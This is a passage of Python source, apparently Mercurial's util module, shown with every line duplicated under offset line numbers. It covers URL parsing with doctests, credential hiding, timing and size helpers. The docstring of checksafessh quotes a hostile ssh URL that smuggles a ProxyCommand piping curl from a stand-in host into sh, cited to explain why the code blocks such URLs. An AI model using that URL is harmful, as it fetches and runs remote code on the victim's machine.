2978 <url scheme: 'bundle', path: 'foo'>
2979 <url scheme: 'bundle', path: 'foo'>
2979 >>> url(b'bundle://../foo')
2980 >>> url(b'bundle://../foo')
2980 <url scheme: 'bundle', path: '../foo'>
2981 <url scheme: 'bundle', path: '../foo'>
2981 >>> url(br'c:\foo\bar')
2982 >>> url(br'c:\foo\bar')
2982 <url path: 'c:\\foo\\bar'>
2983 <url path: 'c:\\foo\\bar'>
2983 >>> url(br'\\blah\blah\blah')
2984 >>> url(br'\\blah\blah\blah')
2984 <url path: '\\\\blah\\blah\\blah'>
2985 <url path: '\\\\blah\\blah\\blah'>
2985 >>> url(br'\\blah\blah\blah#baz')
2986 >>> url(br'\\blah\blah\blah#baz')
2986 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2987 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2987 >>> url(br'file:///C:\users\me')
2988 >>> url(br'file:///C:\users\me')
2988 <url scheme: 'file', path: 'C:\\users\\me'>
2989 <url scheme: 'file', path: 'C:\\users\\me'>
2989
2990
2990 Authentication credentials:
2991 Authentication credentials:
2991
2992
2992 >>> url(b'ssh://joe:xyz@x/repo')
2993 >>> url(b'ssh://joe:xyz@x/repo')
2993 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2994 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2994 >>> url(b'ssh://joe@x/repo')
2995 >>> url(b'ssh://joe@x/repo')
2995 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2996 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2996
2997
2997 Query strings and fragments:
2998 Query strings and fragments:
2998
2999
2999 >>> url(b'http://host/a?b#c')
3000 >>> url(b'http://host/a?b#c')
3000 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3001 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3001 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3002 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3002 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3003 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3003
3004
3004 Empty path:
3005 Empty path:
3005
3006
3006 >>> url(b'')
3007 >>> url(b'')
3007 <url path: ''>
3008 <url path: ''>
3008 >>> url(b'#a')
3009 >>> url(b'#a')
3009 <url path: '', fragment: 'a'>
3010 <url path: '', fragment: 'a'>
3010 >>> url(b'http://host/')
3011 >>> url(b'http://host/')
3011 <url scheme: 'http', host: 'host', path: ''>
3012 <url scheme: 'http', host: 'host', path: ''>
3012 >>> url(b'http://host/#a')
3013 >>> url(b'http://host/#a')
3013 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3014 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3014
3015
3015 Only scheme:
3016 Only scheme:
3016
3017
3017 >>> url(b'http:')
3018 >>> url(b'http:')
3018 <url scheme: 'http'>
3019 <url scheme: 'http'>
3019 """
3020 """
3020
3021
3021 _safechars = b"!~*'()+"
3022 _safechars = b"!~*'()+"
3022 _safepchars = b"/!~*'()+:\\"
3023 _safepchars = b"/!~*'()+:\\"
3023 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3024 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3024
3025
3025 def __init__(self, path, parsequery=True, parsefragment=True):
3026 def __init__(self, path, parsequery=True, parsefragment=True):
3026 # We slowly chomp away at path until we have only the path left
3027 # We slowly chomp away at path until we have only the path left
3027 self.scheme = self.user = self.passwd = self.host = None
3028 self.scheme = self.user = self.passwd = self.host = None
3028 self.port = self.path = self.query = self.fragment = None
3029 self.port = self.path = self.query = self.fragment = None
3029 self._localpath = True
3030 self._localpath = True
3030 self._hostport = b''
3031 self._hostport = b''
3031 self._origpath = path
3032 self._origpath = path
3032
3033
3033 if parsefragment and b'#' in path:
3034 if parsefragment and b'#' in path:
3034 path, self.fragment = path.split(b'#', 1)
3035 path, self.fragment = path.split(b'#', 1)
3035
3036
3036 # special case for Windows drive letters and UNC paths
3037 # special case for Windows drive letters and UNC paths
3037 if hasdriveletter(path) or path.startswith(b'\\\\'):
3038 if hasdriveletter(path) or path.startswith(b'\\\\'):
3038 self.path = path
3039 self.path = path
3039 return
3040 return
3040
3041
3041 # For compatibility reasons, we can't handle bundle paths as
3042 # For compatibility reasons, we can't handle bundle paths as
3042 # normal URLS
3043 # normal URLS
3043 if path.startswith(b'bundle:'):
3044 if path.startswith(b'bundle:'):
3044 self.scheme = b'bundle'
3045 self.scheme = b'bundle'
3045 path = path[7:]
3046 path = path[7:]
3046 if path.startswith(b'//'):
3047 if path.startswith(b'//'):
3047 path = path[2:]
3048 path = path[2:]
3048 self.path = path
3049 self.path = path
3049 return
3050 return
3050
3051
3051 if self._matchscheme(path):
3052 if self._matchscheme(path):
3052 parts = path.split(b':', 1)
3053 parts = path.split(b':', 1)
3053 if parts[0]:
3054 if parts[0]:
3054 self.scheme, path = parts
3055 self.scheme, path = parts
3055 self._localpath = False
3056 self._localpath = False
3056
3057
3057 if not path:
3058 if not path:
3058 path = None
3059 path = None
3059 if self._localpath:
3060 if self._localpath:
3060 self.path = b''
3061 self.path = b''
3061 return
3062 return
3062 else:
3063 else:
3063 if self._localpath:
3064 if self._localpath:
3064 self.path = path
3065 self.path = path
3065 return
3066 return
3066
3067
3067 if parsequery and b'?' in path:
3068 if parsequery and b'?' in path:
3068 path, self.query = path.split(b'?', 1)
3069 path, self.query = path.split(b'?', 1)
3069 if not path:
3070 if not path:
3070 path = None
3071 path = None
3071 if not self.query:
3072 if not self.query:
3072 self.query = None
3073 self.query = None
3073
3074
3074 # // is required to specify a host/authority
3075 # // is required to specify a host/authority
3075 if path and path.startswith(b'//'):
3076 if path and path.startswith(b'//'):
3076 parts = path[2:].split(b'/', 1)
3077 parts = path[2:].split(b'/', 1)
3077 if len(parts) > 1:
3078 if len(parts) > 1:
3078 self.host, path = parts
3079 self.host, path = parts
3079 else:
3080 else:
3080 self.host = parts[0]
3081 self.host = parts[0]
3081 path = None
3082 path = None
3082 if not self.host:
3083 if not self.host:
3083 self.host = None
3084 self.host = None
3084 # path of file:///d is /d
3085 # path of file:///d is /d
3085 # path of file:///d:/ is d:/, not /d:/
3086 # path of file:///d:/ is d:/, not /d:/
3086 if path and not hasdriveletter(path):
3087 if path and not hasdriveletter(path):
3087 path = b'/' + path
3088 path = b'/' + path
3088
3089
3089 if self.host and b'@' in self.host:
3090 if self.host and b'@' in self.host:
3090 self.user, self.host = self.host.rsplit(b'@', 1)
3091 self.user, self.host = self.host.rsplit(b'@', 1)
3091 if b':' in self.user:
3092 if b':' in self.user:
3092 self.user, self.passwd = self.user.split(b':', 1)
3093 self.user, self.passwd = self.user.split(b':', 1)
3093 if not self.host:
3094 if not self.host:
3094 self.host = None
3095 self.host = None
3095
3096
3096 # Don't split on colons in IPv6 addresses without ports
3097 # Don't split on colons in IPv6 addresses without ports
3097 if (
3098 if (
3098 self.host
3099 self.host
3099 and b':' in self.host
3100 and b':' in self.host
3100 and not (
3101 and not (
3101 self.host.startswith(b'[') and self.host.endswith(b']')
3102 self.host.startswith(b'[') and self.host.endswith(b']')
3102 )
3103 )
3103 ):
3104 ):
3104 self._hostport = self.host
3105 self._hostport = self.host
3105 self.host, self.port = self.host.rsplit(b':', 1)
3106 self.host, self.port = self.host.rsplit(b':', 1)
3106 if not self.host:
3107 if not self.host:
3107 self.host = None
3108 self.host = None
3108
3109
3109 if (
3110 if (
3110 self.host
3111 self.host
3111 and self.scheme == b'file'
3112 and self.scheme == b'file'
3112 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3113 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3113 ):
3114 ):
3114 raise error.Abort(
3115 raise error.Abort(
3115 _(b'file:// URLs can only refer to localhost')
3116 _(b'file:// URLs can only refer to localhost')
3116 )
3117 )
3117
3118
3118 self.path = path
3119 self.path = path
3119
3120
3120 # leave the query string escaped
3121 # leave the query string escaped
3121 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3122 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3122 v = getattr(self, a)
3123 v = getattr(self, a)
3123 if v is not None:
3124 if v is not None:
3124 setattr(self, a, urlreq.unquote(v))
3125 setattr(self, a, urlreq.unquote(v))
3125
3126
3126 @encoding.strmethod
3127 @encoding.strmethod
3127 def __repr__(self):
3128 def __repr__(self):
3128 attrs = []
3129 attrs = []
3129 for a in (
3130 for a in (
3130 b'scheme',
3131 b'scheme',
3131 b'user',
3132 b'user',
3132 b'passwd',
3133 b'passwd',
3133 b'host',
3134 b'host',
3134 b'port',
3135 b'port',
3135 b'path',
3136 b'path',
3136 b'query',
3137 b'query',
3137 b'fragment',
3138 b'fragment',
3138 ):
3139 ):
3139 v = getattr(self, a)
3140 v = getattr(self, a)
3140 if v is not None:
3141 if v is not None:
3141 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3142 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3142 return b'<url %s>' % b', '.join(attrs)
3143 return b'<url %s>' % b', '.join(attrs)
3143
3144
3144 def __bytes__(self):
3145 def __bytes__(self):
3145 r"""Join the URL's components back into a URL string.
3146 r"""Join the URL's components back into a URL string.
3146
3147
3147 Examples:
3148 Examples:
3148
3149
3149 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3150 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3150 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3151 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3151 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3152 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3152 'http://user:pw@host:80/?foo=bar&baz=42'
3153 'http://user:pw@host:80/?foo=bar&baz=42'
3153 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3154 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3154 'http://user:pw@host:80/?foo=bar%3dbaz'
3155 'http://user:pw@host:80/?foo=bar%3dbaz'
3155 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3156 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3156 'ssh://user:pw@[::1]:2200//home/joe#'
3157 'ssh://user:pw@[::1]:2200//home/joe#'
3157 >>> bytes(url(b'http://localhost:80//'))
3158 >>> bytes(url(b'http://localhost:80//'))
3158 'http://localhost:80//'
3159 'http://localhost:80//'
3159 >>> bytes(url(b'http://localhost:80/'))
3160 >>> bytes(url(b'http://localhost:80/'))
3160 'http://localhost:80/'
3161 'http://localhost:80/'
3161 >>> bytes(url(b'http://localhost:80'))
3162 >>> bytes(url(b'http://localhost:80'))
3162 'http://localhost:80/'
3163 'http://localhost:80/'
3163 >>> bytes(url(b'bundle:foo'))
3164 >>> bytes(url(b'bundle:foo'))
3164 'bundle:foo'
3165 'bundle:foo'
3165 >>> bytes(url(b'bundle://../foo'))
3166 >>> bytes(url(b'bundle://../foo'))
3166 'bundle:../foo'
3167 'bundle:../foo'
3167 >>> bytes(url(b'path'))
3168 >>> bytes(url(b'path'))
3168 'path'
3169 'path'
3169 >>> bytes(url(b'file:///tmp/foo/bar'))
3170 >>> bytes(url(b'file:///tmp/foo/bar'))
3170 'file:///tmp/foo/bar'
3171 'file:///tmp/foo/bar'
3171 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3172 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3172 'file:///c:/tmp/foo/bar'
3173 'file:///c:/tmp/foo/bar'
3173 >>> print(url(br'bundle:foo\bar'))
3174 >>> print(url(br'bundle:foo\bar'))
3174 bundle:foo\bar
3175 bundle:foo\bar
3175 >>> print(url(br'file:///D:\data\hg'))
3176 >>> print(url(br'file:///D:\data\hg'))
3176 file:///D:\data\hg
3177 file:///D:\data\hg
3177 """
3178 """
3178 if self._localpath:
3179 if self._localpath:
3179 s = self.path
3180 s = self.path
3180 if self.scheme == b'bundle':
3181 if self.scheme == b'bundle':
3181 s = b'bundle:' + s
3182 s = b'bundle:' + s
3182 if self.fragment:
3183 if self.fragment:
3183 s += b'#' + self.fragment
3184 s += b'#' + self.fragment
3184 return s
3185 return s
3185
3186
3186 s = self.scheme + b':'
3187 s = self.scheme + b':'
3187 if self.user or self.passwd or self.host:
3188 if self.user or self.passwd or self.host:
3188 s += b'//'
3189 s += b'//'
3189 elif self.scheme and (
3190 elif self.scheme and (
3190 not self.path
3191 not self.path
3191 or self.path.startswith(b'/')
3192 or self.path.startswith(b'/')
3192 or hasdriveletter(self.path)
3193 or hasdriveletter(self.path)
3193 ):
3194 ):
3194 s += b'//'
3195 s += b'//'
3195 if hasdriveletter(self.path):
3196 if hasdriveletter(self.path):
3196 s += b'/'
3197 s += b'/'
3197 if self.user:
3198 if self.user:
3198 s += urlreq.quote(self.user, safe=self._safechars)
3199 s += urlreq.quote(self.user, safe=self._safechars)
3199 if self.passwd:
3200 if self.passwd:
3200 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3201 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3201 if self.user or self.passwd:
3202 if self.user or self.passwd:
3202 s += b'@'
3203 s += b'@'
3203 if self.host:
3204 if self.host:
3204 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3205 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3205 s += urlreq.quote(self.host)
3206 s += urlreq.quote(self.host)
3206 else:
3207 else:
3207 s += self.host
3208 s += self.host
3208 if self.port:
3209 if self.port:
3209 s += b':' + urlreq.quote(self.port)
3210 s += b':' + urlreq.quote(self.port)
3210 if self.host:
3211 if self.host:
3211 s += b'/'
3212 s += b'/'
3212 if self.path:
3213 if self.path:
3213 # TODO: similar to the query string, we should not unescape the
3214 # TODO: similar to the query string, we should not unescape the
3214 # path when we store it, the path might contain '%2f' = '/',
3215 # path when we store it, the path might contain '%2f' = '/',
3215 # which we should *not* escape.
3216 # which we should *not* escape.
3216 s += urlreq.quote(self.path, safe=self._safepchars)
3217 s += urlreq.quote(self.path, safe=self._safepchars)
3217 if self.query:
3218 if self.query:
3218 # we store the query in escaped form.
3219 # we store the query in escaped form.
3219 s += b'?' + self.query
3220 s += b'?' + self.query
3220 if self.fragment is not None:
3221 if self.fragment is not None:
3221 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3222 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3222 return s
3223 return s
3223
3224
3224 __str__ = encoding.strmethod(__bytes__)
3225 __str__ = encoding.strmethod(__bytes__)
3225
3226
3226 def authinfo(self):
3227 def authinfo(self):
3227 user, passwd = self.user, self.passwd
3228 user, passwd = self.user, self.passwd
3228 try:
3229 try:
3229 self.user, self.passwd = None, None
3230 self.user, self.passwd = None, None
3230 s = bytes(self)
3231 s = bytes(self)
3231 finally:
3232 finally:
3232 self.user, self.passwd = user, passwd
3233 self.user, self.passwd = user, passwd
3233 if not self.user:
3234 if not self.user:
3234 return (s, None)
3235 return (s, None)
3235 # authinfo[1] is passed to urllib2 password manager, and its
3236 # authinfo[1] is passed to urllib2 password manager, and its
3236 # URIs must not contain credentials. The host is passed in the
3237 # URIs must not contain credentials. The host is passed in the
3237 # URIs list because Python < 2.4.3 uses only that to search for
3238 # URIs list because Python < 2.4.3 uses only that to search for
3238 # a password.
3239 # a password.
3239 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3240 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3240
3241
3241 def isabs(self):
3242 def isabs(self):
3242 if self.scheme and self.scheme != b'file':
3243 if self.scheme and self.scheme != b'file':
3243 return True # remote URL
3244 return True # remote URL
3244 if hasdriveletter(self.path):
3245 if hasdriveletter(self.path):
3245 return True # absolute for our purposes - can't be joined()
3246 return True # absolute for our purposes - can't be joined()
3246 if self.path.startswith(br'\\'):
3247 if self.path.startswith(br'\\'):
3247 return True # Windows UNC path
3248 return True # Windows UNC path
3248 if self.path.startswith(b'/'):
3249 if self.path.startswith(b'/'):
3249 return True # POSIX-style
3250 return True # POSIX-style
3250 return False
3251 return False
3251
3252
3252 def localpath(self):
3253 def localpath(self):
3253 if self.scheme == b'file' or self.scheme == b'bundle':
3254 if self.scheme == b'file' or self.scheme == b'bundle':
3254 path = self.path or b'/'
3255 path = self.path or b'/'
3255 # For Windows, we need to promote hosts containing drive
3256 # For Windows, we need to promote hosts containing drive
3256 # letters to paths with drive letters.
3257 # letters to paths with drive letters.
3257 if hasdriveletter(self._hostport):
3258 if hasdriveletter(self._hostport):
3258 path = self._hostport + b'/' + self.path
3259 path = self._hostport + b'/' + self.path
3259 elif (
3260 elif (
3260 self.host is not None and self.path and not hasdriveletter(path)
3261 self.host is not None and self.path and not hasdriveletter(path)
3261 ):
3262 ):
3262 path = b'/' + path
3263 path = b'/' + path
3263 return path
3264 return path
3264 return self._origpath
3265 return self._origpath
3265
3266
3266 def islocal(self):
3267 def islocal(self):
3267 '''whether localpath will return something that posixfile can open'''
3268 '''whether localpath will return something that posixfile can open'''
3268 return (
3269 return (
3269 not self.scheme
3270 not self.scheme
3270 or self.scheme == b'file'
3271 or self.scheme == b'file'
3271 or self.scheme == b'bundle'
3272 or self.scheme == b'bundle'
3272 )
3273 )
3273
3274
3274
3275
3275 def hasscheme(path):
3276 def hasscheme(path):
3276 return bool(url(path).scheme)
3277 return bool(url(path).scheme)
3277
3278
3278
3279
3279 def hasdriveletter(path):
3280 def hasdriveletter(path):
3280 return path and path[1:2] == b':' and path[0:1].isalpha()
3281 return path and path[1:2] == b':' and path[0:1].isalpha()
3281
3282
3282
3283
3283 def urllocalpath(path):
3284 def urllocalpath(path):
3284 return url(path, parsequery=False, parsefragment=False).localpath()
3285 return url(path, parsequery=False, parsefragment=False).localpath()
3285
3286
3286
3287
3287 def checksafessh(path):
3288 def checksafessh(path):
3288 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3289 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3289
3290
3290 This is a sanity check for ssh urls. ssh will parse the first item as
3291 This is a sanity check for ssh urls. ssh will parse the first item as
3291 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3292 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3292 Let's prevent these potentially exploited urls entirely and warn the
3293 Let's prevent these potentially exploited urls entirely and warn the
3293 user.
3294 user.
3294
3295
3295 Raises an error.Abort when the url is unsafe.
3296 Raises an error.Abort when the url is unsafe.
3296 """
3297 """
3297 path = urlreq.unquote(path)
3298 path = urlreq.unquote(path)
3298 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3299 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3299 raise error.Abort(
3300 raise error.Abort(
3300 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3301 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3301 )
3302 )
3302
3303
3303
3304
3304 def hidepassword(u):
3305 def hidepassword(u):
3305 '''hide user credential in a url string'''
3306 '''hide user credential in a url string'''
3306 u = url(u)
3307 u = url(u)
3307 if u.passwd:
3308 if u.passwd:
3308 u.passwd = b'***'
3309 u.passwd = b'***'
3309 return bytes(u)
3310 return bytes(u)
3310
3311
3311
3312
3312 def removeauth(u):
3313 def removeauth(u):
3313 '''remove all authentication information from a url string'''
3314 '''remove all authentication information from a url string'''
3314 u = url(u)
3315 u = url(u)
3315 u.user = u.passwd = None
3316 u.user = u.passwd = None
3316 return bytes(u)
3317 return bytes(u)
3317
3318
3318
3319
3319 timecount = unitcountfn(
3320 timecount = unitcountfn(
3320 (1, 1e3, _(b'%.0f s')),
3321 (1, 1e3, _(b'%.0f s')),
3321 (100, 1, _(b'%.1f s')),
3322 (100, 1, _(b'%.1f s')),
3322 (10, 1, _(b'%.2f s')),
3323 (10, 1, _(b'%.2f s')),
3323 (1, 1, _(b'%.3f s')),
3324 (1, 1, _(b'%.3f s')),
3324 (100, 0.001, _(b'%.1f ms')),
3325 (100, 0.001, _(b'%.1f ms')),
3325 (10, 0.001, _(b'%.2f ms')),
3326 (10, 0.001, _(b'%.2f ms')),
3326 (1, 0.001, _(b'%.3f ms')),
3327 (1, 0.001, _(b'%.3f ms')),
3327 (100, 0.000001, _(b'%.1f us')),
3328 (100, 0.000001, _(b'%.1f us')),
3328 (10, 0.000001, _(b'%.2f us')),
3329 (10, 0.000001, _(b'%.2f us')),
3329 (1, 0.000001, _(b'%.3f us')),
3330 (1, 0.000001, _(b'%.3f us')),
3330 (100, 0.000000001, _(b'%.1f ns')),
3331 (100, 0.000000001, _(b'%.1f ns')),
3331 (10, 0.000000001, _(b'%.2f ns')),
3332 (10, 0.000000001, _(b'%.2f ns')),
3332 (1, 0.000000001, _(b'%.3f ns')),
3333 (1, 0.000000001, _(b'%.3f ns')),
3333 )
3334 )
3334
3335
3335
3336
3336 @attr.s
3337 @attr.s
3337 class timedcmstats(object):
3338 class timedcmstats(object):
3338 """Stats information produced by the timedcm context manager on entering."""
3339 """Stats information produced by the timedcm context manager on entering."""
3339
3340
3340 # the starting value of the timer as a float (meaning and resulution is
3341 # the starting value of the timer as a float (meaning and resulution is
3341 # platform dependent, see util.timer)
3342 # platform dependent, see util.timer)
3342 start = attr.ib(default=attr.Factory(lambda: timer()))
3343 start = attr.ib(default=attr.Factory(lambda: timer()))
3343 # the number of seconds as a floating point value; starts at 0, updated when
3344 # the number of seconds as a floating point value; starts at 0, updated when
3344 # the context is exited.
3345 # the context is exited.
3345 elapsed = attr.ib(default=0)
3346 elapsed = attr.ib(default=0)
3346 # the number of nested timedcm context managers.
3347 # the number of nested timedcm context managers.
3347 level = attr.ib(default=1)
3348 level = attr.ib(default=1)
3348
3349
3349 def __bytes__(self):
3350 def __bytes__(self):
3350 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3351 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3351
3352
3352 __str__ = encoding.strmethod(__bytes__)
3353 __str__ = encoding.strmethod(__bytes__)
3353
3354
3354
3355
3355 @contextlib.contextmanager
3356 @contextlib.contextmanager
3356 def timedcm(whencefmt, *whenceargs):
3357 def timedcm(whencefmt, *whenceargs):
3357 """A context manager that produces timing information for a given context.
3358 """A context manager that produces timing information for a given context.
3358
3359
3359 On entering a timedcmstats instance is produced.
3360 On entering a timedcmstats instance is produced.
3360
3361
3361 This context manager is reentrant.
3362 This context manager is reentrant.
3362
3363
3363 """
3364 """
3364 # track nested context managers
3365 # track nested context managers
3365 timedcm._nested += 1
3366 timedcm._nested += 1
3366 timing_stats = timedcmstats(level=timedcm._nested)
3367 timing_stats = timedcmstats(level=timedcm._nested)
3367 try:
3368 try:
3368 with tracing.log(whencefmt, *whenceargs):
3369 with tracing.log(whencefmt, *whenceargs):
3369 yield timing_stats
3370 yield timing_stats
3370 finally:
3371 finally:
3371 timing_stats.elapsed = timer() - timing_stats.start
3372 timing_stats.elapsed = timer() - timing_stats.start
3372 timedcm._nested -= 1
3373 timedcm._nested -= 1
3373
3374
3374
3375
3375 timedcm._nested = 0
3376 timedcm._nested = 0
3376
3377
3377
3378
3378 def timed(func):
3379 def timed(func):
3379 '''Report the execution time of a function call to stderr.
3380 '''Report the execution time of a function call to stderr.
3380
3381
3381 During development, use as a decorator when you need to measure
3382 During development, use as a decorator when you need to measure
3382 the cost of a function, e.g. as follows:
3383 the cost of a function, e.g. as follows:
3383
3384
3384 @util.timed
3385 @util.timed
3385 def foo(a, b, c):
3386 def foo(a, b, c):
3386 pass
3387 pass
3387 '''
3388 '''
3388
3389
3389 def wrapper(*args, **kwargs):
3390 def wrapper(*args, **kwargs):
3390 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3391 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3391 result = func(*args, **kwargs)
3392 result = func(*args, **kwargs)
3392 stderr = procutil.stderr
3393 stderr = procutil.stderr
3393 stderr.write(
3394 stderr.write(
3394 b'%s%s: %s\n'
3395 b'%s%s: %s\n'
3395 % (
3396 % (
3396 b' ' * time_stats.level * 2,
3397 b' ' * time_stats.level * 2,
3397 pycompat.bytestr(func.__name__),
3398 pycompat.bytestr(func.__name__),
3398 time_stats,
3399 time_stats,
3399 )
3400 )
3400 )
3401 )
3401 return result
3402 return result
3402
3403
3403 return wrapper
3404 return wrapper
3404
3405
3405
3406
3406 _sizeunits = (
3407 _sizeunits = (
3407 (b'm', 2 ** 20),
3408 (b'm', 2 ** 20),
3408 (b'k', 2 ** 10),
3409 (b'k', 2 ** 10),
3409 (b'g', 2 ** 30),
3410 (b'g', 2 ** 30),
3410 (b'kb', 2 ** 10),
3411 (b'kb', 2 ** 10),
3411 (b'mb', 2 ** 20),
3412 (b'mb', 2 ** 20),
3412 (b'gb', 2 ** 30),
3413 (b'gb', 2 ** 30),
3413 (b'b', 1),
3414 (b'b', 1),
3414 )
3415 )
3415
3416
3416
3417
3417 def sizetoint(s):
3418 def sizetoint(s):
3418 '''Convert a space specifier to a byte count.
3419 '''Convert a space specifier to a byte count.
3419
3420
3420 >>> sizetoint(b'30')
3421 >>> sizetoint(b'30')
3421 30
3422 30
3422 >>> sizetoint(b'2.2kb')
3423 >>> sizetoint(b'2.2kb')
3423 2252
3424 2252
3424 >>> sizetoint(b'6M')
3425 >>> sizetoint(b'6M')
3425 6291456
3426 6291456
3426 '''
3427 '''
3427 t = s.strip().lower()
3428 t = s.strip().lower()
3428 try:
3429 try:
3429 for k, u in _sizeunits:
3430 for k, u in _sizeunits:
3430 if t.endswith(k):
3431 if t.endswith(k):
3431 return int(float(t[: -len(k)]) * u)
3432 return int(float(t[: -len(k)]) * u)
3432 return int(t)
3433 return int(t)
3433 except ValueError:
3434 except ValueError:
3434 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3435 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3435
3436
3436
3437
3437 class hooks(object):
3438 class hooks(object):
3438 '''A collection of hook functions that can be used to extend a
3439 '''A collection of hook functions that can be used to extend a
3439 function's behavior. Hooks are called in lexicographic order,
3440 function's behavior. Hooks are called in lexicographic order,
3440 based on the names of their sources.'''
3441 based on the names of their sources.'''
3441
3442
3442 def __init__(self):
3443 def __init__(self):
3443 self._hooks = []
3444 self._hooks = []
3444
3445
3445 def add(self, source, hook):
3446 def add(self, source, hook):
3446 self._hooks.append((source, hook))
3447 self._hooks.append((source, hook))
3447
3448
3448 def __call__(self, *args):
3449 def __call__(self, *args):
3449 self._hooks.sort(key=lambda x: x[0])
3450 self._hooks.sort(key=lambda x: x[0])
3450 results = []
3451 results = []
3451 for source, hook in self._hooks:
3452 for source, hook in self._hooks:
3452 results.append(hook(*args))
3453 results.append(hook(*args))
3453 return results
3454 return results
3454
3455
3455
3456
3456 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3457 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3457 '''Yields lines for a nicely formatted stacktrace.
3458 '''Yields lines for a nicely formatted stacktrace.
3458 Skips the 'skip' last entries, then return the last 'depth' entries.
3459 Skips the 'skip' last entries, then return the last 'depth' entries.
3459 Each file+linenumber is formatted according to fileline.
3460 Each file+linenumber is formatted according to fileline.
3460 Each line is formatted according to line.
3461 Each line is formatted according to line.
3461 If line is None, it yields:
3462 If line is None, it yields:
3462 length of longest filepath+line number,
3463 length of longest filepath+line number,
3463 filepath+linenumber,
3464 filepath+linenumber,
3464 function
3465 function
3465
3466
3466 Not be used in production code but very convenient while developing.
3467 Not be used in production code but very convenient while developing.
3467 '''
3468 '''
3468 entries = [
3469 entries = [
3469 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3470 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3470 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3471 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3471 ][-depth:]
3472 ][-depth:]
3472 if entries:
3473 if entries:
3473 fnmax = max(len(entry[0]) for entry in entries)
3474 fnmax = max(len(entry[0]) for entry in entries)
3474 for fnln, func in entries:
3475 for fnln, func in entries:
3475 if line is None:
3476 if line is None:
3476 yield (fnmax, fnln, func)
3477 yield (fnmax, fnln, func)
3477 else:
3478 else:
3478 yield line % (fnmax, fnln, func)
3479 yield line % (fnmax, fnln, func)
3479
3480
3480
3481
3481 def debugstacktrace(
3482 def debugstacktrace(
3482 msg=b'stacktrace',
3483 msg=b'stacktrace',
3483 skip=0,
3484 skip=0,
3484 f=procutil.stderr,
3485 f=procutil.stderr,
3485 otherf=procutil.stdout,
3486 otherf=procutil.stdout,
3486 depth=0,
3487 depth=0,
3487 prefix=b'',
3488 prefix=b'',
3488 ):
3489 ):
3489 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3490 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3490 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3491 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3491 By default it will flush stdout first.
3492 By default it will flush stdout first.
3492 It can be used everywhere and intentionally does not require an ui object.
3493 It can be used everywhere and intentionally does not require an ui object.
3493 Not be used in production code but very convenient while developing.
3494 Not be used in production code but very convenient while developing.
3494 '''
3495 '''
3495 if otherf:
3496 if otherf:
3496 otherf.flush()
3497 otherf.flush()
3497 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
